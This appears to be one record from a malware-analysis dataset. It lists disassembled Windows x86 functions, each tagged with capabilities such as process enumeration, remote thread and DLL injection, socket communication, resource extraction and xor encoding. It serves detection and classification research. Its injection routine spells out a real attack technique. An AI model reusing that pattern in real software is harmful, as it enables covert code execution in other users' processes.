joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eed8
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004091c4
xor ebx, ebx
cmp dword [0x418a4c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40efae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40f08e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x412ba0
push edi
call esi
cmp eax, ebx
je 0x40f08e
push eax
call fcn.00409156
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x418a4c], eax
call esi
push eax
call fcn.00409156
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x418a50], eax
call esi
push eax
call fcn.00409156
mov dword [0x418a54], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040b8e2
test eax, eax
pop ecx
pop ecx
je 0x40ef7c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407d54
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40efae
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00409156
cmp eax, ebx
pop ecx
mov dword [0x418a5c], eax
je 0x40efae
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00409156
pop ecx
mov dword [0x418a58], eax
mov eax, dword [0x418a58]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x40f033
cmp dword [0x418a5c], ecx
je 0x40f033
push eax
call fcn.004091cd
push dword [0x418a5c]
mov esi, eax
call fcn.004091cd
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x40f033
cmp edi, ebx
je 0x40f033
call esi
cmp eax, ebx
je 0x40f000
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f000
test byte [ebp - 0x18], 1
jne 0x40f033
lea eax, [ebp - 0x10]
push eax
call fcn.0040b919
test eax, eax
pop ecx
je 0x40f01b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407d54
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x40f02a
or dword [ebp + 0x10], 0x200000
jmp 0x40f06e
or dword [ebp + 0x10], 0x40000
jmp 0x40f06e
mov eax, dword [0x418a50]
cmp eax, dword [ebp - 8]
je 0x40f06e
push eax
call fcn.004091cd
cmp eax, ebx
pop ecx
je 0x40f06e
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40f06e
mov eax, dword [0x418a54]
cmp eax, dword [ebp - 8]
je 0x40f06e
push eax
call fcn.004091cd
cmp eax, ebx
pop ecx
je 0x40f06e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418a4c]
call fcn.004091cd
cmp eax, ebx
pop ecx
je 0x40f08e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f090
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011f9
Capabilities:
Create thread

Disassembly:
push edi
xor edi, edi
push edi
push eax
push edi
push edi
push edi
mov dword [0x42de00], eax
mov eax, closesocket
push eax
push edi
push eax
push 0xcf0000
push 0x42dd38
push 0x42dc70
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x40122a
pop edi
ret
push ebx
push esi
push 0x42690c
push 0x40
pop esi
push esi
push 0x42c464
call fcn.00410c8c
push 0x426928
push esi
push 0x42c964
call fcn.00410c8c
push 0x426934
push esi
push 0x42c4e4
call fcn.00410c8c
push 0x426950
push esi
push 0x42c9e4
call fcn.00410c8c
push 0x42696c
push esi
push 0x42c564
call fcn.00410c8c
push 0x426984
push esi
push 0x42ca64
call fcn.00410c8c
add esp, 0x48
push 0x426994
push esi
push 0x42c5e4
call fcn.00410c8c
push 0x4269ac
push esi
push 0x42cae4
call fcn.00410c8c
push 0x4269c0
push esi
push 0x42c664
call fcn.00410c8c
push 0x4269d8
push esi
push 0x42cb64
call fcn.00410c8c
push 0x4269ec
push esi
push 0x42c6e4
call fcn.00410c8c
push 0x426a08
push esi
push 0x42cbe4
call fcn.00410c8c
add esp, 0x48
push 0x426a18
push esi
push 0x42c764
call fcn.00410c8c
mov ebx, 0x426a38
push ebx
push esi
push 0x42cc64
call fcn.00410c8c
push 0x426a44
push esi
push 0x42c7e4
call fcn.00410c8c
push ebx
push esi
push 0x42cce4
call fcn.00410c8c
push 0x426a60
push esi
push 0x42c864
call fcn.00410c8c
push 0x426a7c
push esi
push 0x42cd64
call fcn.00410c8c
add esp, 0x48
mov dword [0x42c460], 9
push 0x100
push edi
push 0x44e010
call fcn.004125c0
add esp, 0xc
push 2
xor eax, eax
pop edx
movzx ecx, word [eax + 0x426a88]
mov word [eax + 0x44e014], cx
add eax, edx
cmp cx, di
jne 0x401377
xor eax, eax
movzx ecx, word [eax + 0x426a8c]
mov word [eax + 0x44e044], cx
add eax, edx
cmp cx, di
jne 0x40138e
xor eax, eax
movzx ecx, word [eax + 0x426a98]
mov word [eax + 0x44e018], cx
add eax, edx
cmp cx, di
jne 0x4013a5
mov dword [0x44e040], 0x51
xor eax, eax
movzx ecx, word [eax + 0x426ab4]
mov word [eax + 0x44e062], cx
add eax, edx
cmp cx, di
jne 0x4013c6
mov dword [0x44e0fc], 5
mov dword [0x44e104], 0x32
call fcn.0040230c
mov dword [0x44e110], eax
mov dword [0x42ce64], eax
call fcn.004023a8
mov dword [0x42ce68], eax
call fcn.004021ff
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x401517
push edi
push edi
mov dword [0x46eb12], 0x401e8e
call esi
push edi
push edi
push edi
push 0x40185b
push edi
push edi
call esi
pop esi
xor eax, eax
pop ebx
inc eax
pop edi
ret
Function at 0x402027
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004125c0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x4020d9
push edi
mov edi, 0x426bb8
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x402072
sub eax, edx
sar eax, 1
je 0x4020d8
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00410d7d
push 0x426bb0
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.00410824
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x4020d8
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041109a
push dword [ebp - 0x78]
call fcn.00410ad2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.004105a8
add ebp, 0x198
leave
ret

Function at 0x4021ff
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
mov eax, dword [0x42b094]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
push esi
push edi
xor eax, eax
push 0x62
mov word [esp + 0x214], ax
xor ebx, ebx
lea eax, [esp + 0x216]
push ebx
push eax
call fcn.004125c0
add esp, 0xc
push 0x200
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.004125c0
add esp, 0xc
lea edi, [esp + 0x10]
call fcn.004020f2
test eax, eax
je 0x4022f7
xor eax, eax
movzx ecx, word [esp + eax + 0x14]
mov word [eax + 0x44e018], cx
inc eax
inc eax
cmp cx, bx
jne 0x402261
movzx eax, word [esp + 0x94]
mov dword [0x44e040], eax
xor eax, eax
movzx ecx, word [esp + eax + 0x96]
mov word [eax + 0x44e044], cx
inc eax
inc eax
cmp cx, bx
jne 0x402283
cmp dword [0x44e110], 3
mov edi, 0x104
mov esi, 0x42de08
jne 0x4022c5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x426bd4
push edi
push esi
call fcn.00410d7d
add esp, 0xc
jmp 0x4022cd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x1b8]
push eax
push edi
push esi
call fcn.00410d7d
add esp, 0xc
lea edi, [esp + 0x210]
call fcn.00402171
mov eax, edi
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [esp + 0x27c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004105a8
mov esp, ebp
pop ebp
ret
Function at 0x40230c
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.004125c0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402390
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x40237a
test eax, eax
jne 0x402369
cmp word [ebp + 0x94], 4
jb 0x402390
inc esi
cmp eax, 2
jne 0x402370
push eax
pop esi
jae 0x402377
cmp eax, 1
jne 0x402390
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x402390
test eax, eax
jne 0x402388
push 4
jmp 0x40238f
cmp eax, 1
jne 0x402390
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004105a8
add ebp, 0xa0
leave
ret

Function at 0x402444
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x426b2c
mov esi, eax
push 0x83
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4024d5
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 4]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov esi, edi
and esi, 0x1ff
neg esi
sbb esi, esi
mov dword [eax], edi
mov eax, edi
neg esi
shr eax, 9
add esi, eax
shl esi, 9
push esi
call fcn.004114a2
push esi
mov ebx, eax
push 0
push ebx
call fcn.004125c0
push edi
push dword [ebp - 4]
push ebx
call fcn.00411f90
add esp, 0x1c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4027c3
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x1b8]
sub esp, 0x238
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x1b4], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov esi, ecx
mov dword [ebp - 0x80], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x40285e
push edi
mov edi, 0x22c
push edi
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.004125c0
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
mov dword [ebp - 0x78], edi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x402849
xor edi, edi
cmp dword [esi], edi
jle 0x40283d
lea ebx, [esi + 4]
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00411650
pop ecx
pop ecx
test eax, eax
je 0x402878
inc edi
sub ebx, 0xffffff80
cmp edi, dword [esi]
jl 0x402825
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x7c]
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
je 0x40281c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp + 0x1b4]
mov eax, dword [ebp - 0x80]
pop esi
xor ecx, ebp
pop ebx
call fcn.004105a8
add ebp, 0x1b8
leave
ret
lea eax, [ebp - 0x54]
push eax
lea eax, [esi + 0xa14]
push 0x40
push eax
mov dword [ebp - 0x80], 1
mov dword [esi + 0xa0c], edi
call fcn.00410c8c
mov eax, dword [ebp - 0x70]
mov dword [esi + 0xa10], eax
mov eax, dword [esi + 0xa0c]
shl eax, 7
lea eax, [eax + esi + 0x504]
push eax
push 0x40
add esi, 0xa98
push esi
call fcn.00410c8c
add esp, 0x18
jmp 0x402854
Function at 0x402b0f
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push edi
xor edi, edi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp + 8], ebx
je 0x402c0f
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x402c0f
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402b38
sub eax, edx
sar eax, 1
cmp eax, 4
jb 0x402c0f
push dword [ebp + 8]
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 8], edi
cmp edi, ebx
jne 0x402b7a
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov dword [ebp - 4], eax
call esi
jmp 0x402c1e
push 4
push 0x3000
push 0x104
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
cmp esi, ebx
jne 0x402ba3
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov dword [ebp - 4], eax
jmp 0x402c1e
mov eax, dword [ebp + 0xc]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402ba9
sub eax, edx
push ebx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0xc]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402b94
push 0x426bfc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402b94
push 0x426c0c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402b94
push ebx
push ebx
push esi
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, ebx
je 0x402c34
push 0x2710
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x402c13
or dword [ebp - 4], 0xffffffff
cmp edi, ebx
je 0x402c1e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], ebx
pop edi
pop esi
pop ebx
je 0x402c2f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
leave
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov dword [ebp - 4], eax
jmp 0x402c13
Function at 0x40336e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403385
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4033ba
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x4033b6
cmp edi, eax
jae 0x4033ba
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x4033a8
cmp edi, eax
jb 0x4033be
xor eax, eax
jmp 0x4033c7
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x403475
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x44e2f0
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov ebx, 0x10000
push ebx
xor eax, eax
push edi
push 0x44e30e
mov word [0x44e300], ax
mov dword [0x44e302], edi
mov dword [0x44e306], 1
mov dword [0x44e30a], edi
call fcn.004125c0
push ebx
push edi
push 0x45e312
mov dword [0x45e30e], edi
call fcn.004125c0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x18
push edi
push edi
push esi
push 0x4033e2
push edi
push edi
mov dword [0x46eb12], edi
call ebx
push edi
push edi
push esi
push 0x403437
push edi
push edi
call ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x40373a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x794]
sub esp, 0x814
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x790], eax
mov eax, dword [ebp + 0x79c]
push edi
mov edi, ecx
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x7c], ecx
test eax, eax
je 0x40376b
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
xor eax, eax
and dword [ebp - 0x80], eax
mov word [ecx], ax
cmp dword [esi], eax
je 0x4037ef
push ebx
call fcn.004114a2
push ebx
push edi
push eax
mov dword [ebp - 0x78], eax
call fcn.00411f90
mov edi, dword [sym.imp.WS2_32.dll_send]
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x74], al
mov eax, ebx
sar eax, 0x10
mov byte [ebp - 0x73], al
add esp, 0x10
mov eax, ebx
sar eax, 8
push 0
mov byte [ebp - 0x72], al
push 4
lea eax, [ebp - 0x74]
push eax
push dword [esi]
mov byte [ebp - 0x71], bl
call edi
push 0
push ebx
push dword [ebp - 0x78]
push dword [esi]
call edi
cmp eax, 0xffffffff
je 0x4037d7
cmp eax, ebx
jne 0x4037d7
mov dword [ebp - 0x80], 1
jmp 0x4037ef
mov edx, dword [ebp - 0x7c]
mov eax, 0x426c90
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4037e1
cmp dword [ebp - 0x78], 0
pop edi
je 0x4037ff
push dword [ebp - 0x78]
call fcn.0041059d
pop ecx
mov ecx, dword [ebp + 0x790]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
call fcn.004105a8
add ebp, 0x794
leave
ret 4
Function at 0x403819
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x79c]
sub esp, 0x81c
mov eax, dword [0x42b094]
xor eax, ebp
mov dword [ebp + 0x798], eax
mov eax, dword [ebp + 0x7a4]
push edi
lea edi, [ebp - 0x68]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], edi
test ecx, ecx
je 0x403850
mov dword [ebp - 0x78], ecx
mov edi, ecx
xor ecx, ecx
and dword [ebp - 0x74], ecx
mov word [edi], cx
mov eax, dword [eax]
test eax, eax
je 0x403965
test edx, edx
je 0x403965
push ecx
mov byte [ebp - 0x6c], cl
mov byte [ebp - 0x6b], cl
mov byte [ebp - 0x6a], cl
mov byte [ebp - 0x69], cl
push 4
lea ecx, [ebp - 0x6c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4038a3
mov eax, 0x426cb0
sub edi, eax
movzx ecx, word [eax]
mov word [edi + eax], cx
inc eax
inc eax
test cx, cx
jne 0x403890
jmp 0x403965
test eax, eax
jne 0x4038b3
mov dword [ebp - 0x74], 1
jmp 0x403965
movzx eax, byte [ebp - 0x6b]
push ebx
movzx ebx, byte [ebp - 0x6c]
push dword [esi]
shl ebx, 8
add ebx, eax
movzx eax, byte [ebp - 0x6a]
shl ebx, 8
add ebx, eax
movzx eax, byte [ebp - 0x69]
shl ebx, 8
add ebx, eax
xor edi, edi
call fcn.004114a2
cmp dword [esi], edi
pop ecx
mov dword [ebp - 0x70], eax
jle 0x40390f
cmp edi, ebx
jae 0x40390f
mov eax, dword [esi]
sub eax, edi
push 0
push eax
mov eax, dword [ebp - 0x70]
add eax, edi
push eax
mov eax, dword [ebp - 0x80]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x403925
test eax, eax
je 0x403925
add edi, eax
cmp dword [esi], edi
jg 0x4038e4
mov eax, dword [esi]
cmp eax, edi
jl 0x40393f
push edi
push dword [ebp - 0x70]
push dword [ebp - 0x7c]
call fcn.00411f90
mov dword [esi], edi
jmp 0x40394b
mov edx, dword [ebp - 0x78]
mov eax, 0x426cb0
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40392f
jmp 0x403955
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x7c]
call fcn.00411f90
add esp, 0xc
mov dword [ebp - 0x74], 1
cmp dword [ebp - 0x70], 0
pop ebx
je 0x403965
push dword [ebp - 0x70]
call fcn.0041059d
pop ecx
mov ecx, dword [ebp + 0x798]
mov eax, dword [ebp - 0x74]
xor ecx, ebp
pop edi
call fcn.004105a8
add ebp, 0x79c
leave
ret 4
Function at 0x403b95
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push edi
mov esi, eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x403c5a
cmp esi, 0xa
jb 0x403c5a
shl eax, 2
mov dword [ebp - 0xc], eax
inc eax
push eax
call fcn.00410606
pop ecx
mov ebx, eax
push ebx
push esi
push dword [ebp + 8]
lea edi, [ebp - 0xc]
call fcn.00403b27
add esp, 0xc
test eax, eax
je 0x403c51
push 0x4268c4
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.00410824
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x403c01
mov dword [ebp - 8], 0xfffffffe
jmp 0x403c6d
push dword [ebp - 4]
push dword [ebp - 0xc]
push 1
push ebx
call fcn.004109d9
add esp, 0x10
cmp eax, dword [ebp - 0xc]
je 0x403c20
mov dword [ebp - 8], 0xfffffffe
jmp 0x403c5e
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
xor edx, edx
mov ecx, 0x1f4
div ecx
mov edi, edx
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
push dword [ebp - 4]
push edi
push 1
add edx, ebx
push edx
call fcn.004109d9
add esp, 0x10
jmp 0x403c5e
mov dword [ebp - 8], 0xfffffffd
jmp 0x403c5e
or dword [ebp - 8], 0xffffffff
cmp dword [ebp - 4], 0
je 0x403c6d
push dword [ebp - 4]
call fcn.00410ad2
pop ecx
test ebx, ebx
je 0x403c78
push ebx
call fcn.004106d0
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40540c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x405417
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x4054c9
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x428710]
inc ecx
sub edi, 8
dec esi
jne 0x40542e
pop ebx
test edi, edi
je 0x4054e2
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x428710]
inc ecx
dec edi
jne 0x4054cd
pop esi
not eax
pop edi
ret
Function at 0x4054e7
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x428710]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x428710]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x405b5c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x405b8c
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405b87
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x405bb4
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x405b9d
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00411f90
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret